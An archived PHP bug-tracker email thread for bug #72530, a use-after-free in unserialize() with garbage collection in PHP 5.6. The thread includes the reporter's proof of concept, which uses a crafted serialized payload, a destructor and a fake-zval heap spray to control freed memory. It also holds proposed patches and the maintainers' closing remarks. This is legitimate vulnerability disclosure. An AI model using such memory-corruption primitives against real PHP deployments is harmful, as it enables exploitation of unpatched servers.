Bug #72530 [Opn->Csd]: Use After Free in unserialize() with GC

From: Date: Sun, 01 Jan 2017 18:47:23 +0000
Subject: Bug #72530 [Opn->Csd]: Use After Free in unserialize() with GC
References: 1  Groups: php.bugs 
Request: Send a blank email to php-bugs+get-206289@lists.php.net to get a copy of this message
Edit report at https://bugs.php.net/bug.php?id=72530&edit=1 ID: 72530 Updated by: nikic@php.net Reported by: taoguangchen at icloud dot com Summary: Use After Free in unserialize() with GC -Status: Open +Status: Closed Type: Bug Package: *General Issues PHP Version: 5.6.23 -Assigned To: +Assigned To: nikic Block user comment: N Private report: N Previous Comments: ------------------------------------------------------------------------ [2017-01-01 18:47:11] nikic@php.net In PHP 7.0+ this results in: array(1) { [0]=> object(ryat)#1 (2) { ["ryat"]=> array(1) { [0]=> *RECURSION* } ["chtg"]=> &array(1) { [0]=> *RECURSION* } } } I believe this output is correct, as the following code (to which the unserialize should roughly correspond) has the same output: $a = []; $a[0] = 1; $o = new ryat; $o->ryat =& $a[1]; $o->chtg = 2; $a[1] = [$o]; unset($a[1]); $a[1] = 3; $a[2] =& $o->chtg; unset($o); gc_collect_cycles(); var_dump($a[2]); This also shows that the issue is not related to unserialize(), but rather to GC with certain destructors. The GC problem has been fixed in 7.0 (and won't be fixed in 5.6), so closing here. ------------------------------------------------------------------------ [2016-07-02 08:19:15] stas@php.net I don't think this qualifies as security issue - since you need specially crafter destructor. ------------------------------------------------------------------------ [2016-07-02 01:09:05] taoguangchen at icloud dot com update fix, and fix other bugs: ``` var_push_dtor_no_addref(var_hash, rval); } *rval = *rval_ref; + Z_ADDREF_PP(rval_ref); + if (Z_REFCOUNT_PP(rval) > 1) { + SEPARATE_ZVAL_IF_NOT_REF(rval); + } Z_ADDREF_PP(rval); Z_SET_ISREF_PP(rval); ``` ------------------------------------------------------------------------ [2016-07-01 16:26:35] taoguangchen at icloud dot com Description: ------------ Use After Free in unserialize() with GC PoC: ``` $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}'; $out = unserialize($poc); gc_collect_cycles(); $fakezval = ptr2str(1122334455); $fakezval .= ptr2str(0); $fakezval .= "\x00\x00\x00\x00"; $fakezval .= "\x01"; $fakezval .= "\x00"; $fakezval .= "\x00\x00"; for ($i = 0; $i < 5; $i++) { $v[$i] = $fakezval.$i; } var_dump($out[2]); class ryat { var $ryat; var $chtg; function __destruct() { $this->chtg = $this->ryat; } } function ptr2str($ptr) { $out = ''; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } ``` Expected result: ``` int(2) ``` Actual result: ``` array(1) { [0]=> int(1122334455) } ``` Fix (This fix may break some test scripts): ``` "R:" iv ";" { ... *rval = *rval_ref; + if (Z_REFCOUNT_PP(rval_ref) == 1) { + Z_ADDREF_PP(rval_ref); + } Z_ADDREF_PP(rval); Z_SET_ISREF_PP(rval); ``` ------------------------------------------------------------------------ -- Edit this bug report at https://bugs.php.net/bug.php?id=72530&edit=1

« previous php.bugs (#206289) next »